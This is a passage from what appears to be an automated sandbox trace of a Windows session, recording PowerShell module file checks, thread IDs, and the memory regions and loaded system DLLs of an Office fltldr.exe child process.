"c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0182.729] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0xffffffff [0182.729] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0182.729] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0182.729] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0182.729] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0182.730] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0182.730] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts\\1.0.0.0\\Microsoft.PowerShell.LocalAccounts.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts\\1.0.0.0\\microsoft.powershell.localaccounts.psd1")) returned 0xffffffff [0182.730] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0182.730] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0182.730] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0182.730] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0182.730] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.730] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 Thread: id = 159 os_tid = 0x9cc [0170.289] CoGetContextToken (in: pToken=0x50dfc74 | out: pToken=0x50dfc74) returned 0x0 [0170.289] CObjectContext::QueryInterface () returned 0x0 [0170.289] CObjectContext::GetCurrentThreadType () returned 0x0 [0170.289] Release () returned 0x0 [0170.289] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 161 os_tid = 0x994 Thread: id = 164 os_tid = 0xb4 Thread: id = 192 os_tid = 0xc78 Thread: id = 196 os_tid = 0xca4 Thread: id = 197 os_tid = 0xc9c Thread: id = 202 os_tid = 0xc84 Thread: id = 206 os_tid = 0xce0 Thread: id = 207 os_tid = 0xcdc Thread: id = 211 os_tid = 0xcd0 Thread: id = 217 os_tid = 0xd70 Thread: id = 218 os_tid = 0xd48 Thread: id = 220 os_tid = 0xd50 Thread: id = 222 os_tid = 0xce8 Thread: id = 226 os_tid = 0xd1c Thread: id = 235 os_tid = 0xd9c Process: id = "3" image_name = "fltldr.exe" filename = "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\fltldr.exe" page_root = "0x36e62000" os_pid = "0xe60" os_integrity_level = "0x1000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xd40" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE\" C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" cur_dir = "C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x10], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x10], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x10], "NT AUTHORITY\\Local account" [0x10], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x10] Region: id = 672 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 673 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 674 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 675 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 676 start_va = 0x1a0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 677 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 678 start_va = 0xca0000 end_va = 0xce7fff monitored = 0 entry_point = 0xca304e region_type = mapped_file name = "fltldr.exe" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\fltldr.exe") Region: id = 679 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 680 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 681 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 682 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 683 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 684 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 685 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 686 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 687 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 690 start_va = 0x60000 end_va = 0x61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 691 start_va = 0x5e0000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 692 start_va = 0xcf0000 end_va = 0xcf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 693 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 694 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 695 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 696 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 697 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 698 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 699 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 700 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 701 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 702 start_va = 0x660000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 703 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 704 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 705 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 706 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 707 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 708 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 709 start_va = 0x729b0000 end_va = 0x72b64fff monitored = 0 entry_point = 0x72aa3d5a region_type = mapped_file name = "appvisvsubsystems32.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll") Region: id = 710 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 711 start_va = 0x72940000 end_va = 0x729a4fff monitored = 0 entry_point = 0x7295fa6c region_type = mapped_file name = "appvisvstream32.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll") Region: id = 712 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 713 start_va = 0x72870000 end_va = 0x7293afff monitored = 0 entry_point = 0x72886a2b region_type = mapped_file name = "c2r32.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll") Region: id = 714 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 715 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 716 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 717 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 718 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 719 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 720 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 721 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 722 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 723 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 724 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 725 start_va = 0x755b0000 end_va = 0x761f9fff monitored = 0 entry_point = 0x75631601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 726 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 727 start_va = 0x72850000 end_va = 0x72866fff monitored = 0 entry_point = 0x72851c9d region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 728 start_va = 0x740a0000 end_va = 0x740aafff monitored = 0 entry_point = 0x740a1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 729 start_va = 0x65f10000 end_va = 0x65f24fff monitored = 0 entry_point = 0x65f1b1a0 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\vcruntime140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\vcruntime140.dll") Region: id = 733 start_va = 0x65f00000 end_va = 0x65f03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 735 start_va = 0x65e00000 end_va = 0x65edbfff monitored = 0 entry_point = 0x65e2c130 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\ucrtbase.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\ucrtbase.dll") Region: id = 737 start_va = 0x65d40000 end_va = 0x65d42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 738 start_va = 0x65d30000 end_va = 0x65d32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-core-file-l2-1-0.dll") Region: id = 739 start_va = 0x65d20000 end_va = 0x65d22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 740 start_va = 0x65d10000 end_va = 0x65d12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 741 start_va = 0x65d00000 end_va = 0x65d02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 742 start_va = 0x65cf0000 end_va = 0x65cf2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-core-file-l1-2-0.dll") Region: id = 743 start_va = 0x65ce0000 end_va = 0x65ce3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 744 start_va = 0x65cd0000 end_va = 0x65cd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 745 start_va = 0x65cc0000 end_va = 0x65cc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 746 start_va = 0x65cb0000 end_va = 0x65cb3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 747 start_va = 0x65ca0000 end_va = 0x65ca4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 748 start_va = 0x65c90000 end_va = 0x65c92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 749 start_va = 0x65c20000 end_va = 0x65c8cfff monitored = 0 entry_point = 0x65c5ab20 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\msvcp140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\msvcp140.dll") Region: id = 756 start_va = 0x65c10000 end_va = 0x65c14fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 770 start_va = 0x65c00000 end_va = 0x65c02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 771 start_va = 0x65bf0000 end_va = 0x65bf2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 775 start_va = 0x65be0000 end_va = 0x65be2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 782 start_va = 0x65bd0000 end_va = 0x65bd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 783 start_va = 0x1e0000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 784 start_va = 0x410000 end_va = 0x597fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 785 start_va = 0xe0000 end_va = 0xfdfff monitored = 0 entry_point = 0xf158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 786 start_va = 0xe0000 end_va = 0xfdfff monitored = 0 entry_point = 0xf158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 787 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 788 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 789 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 790 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = 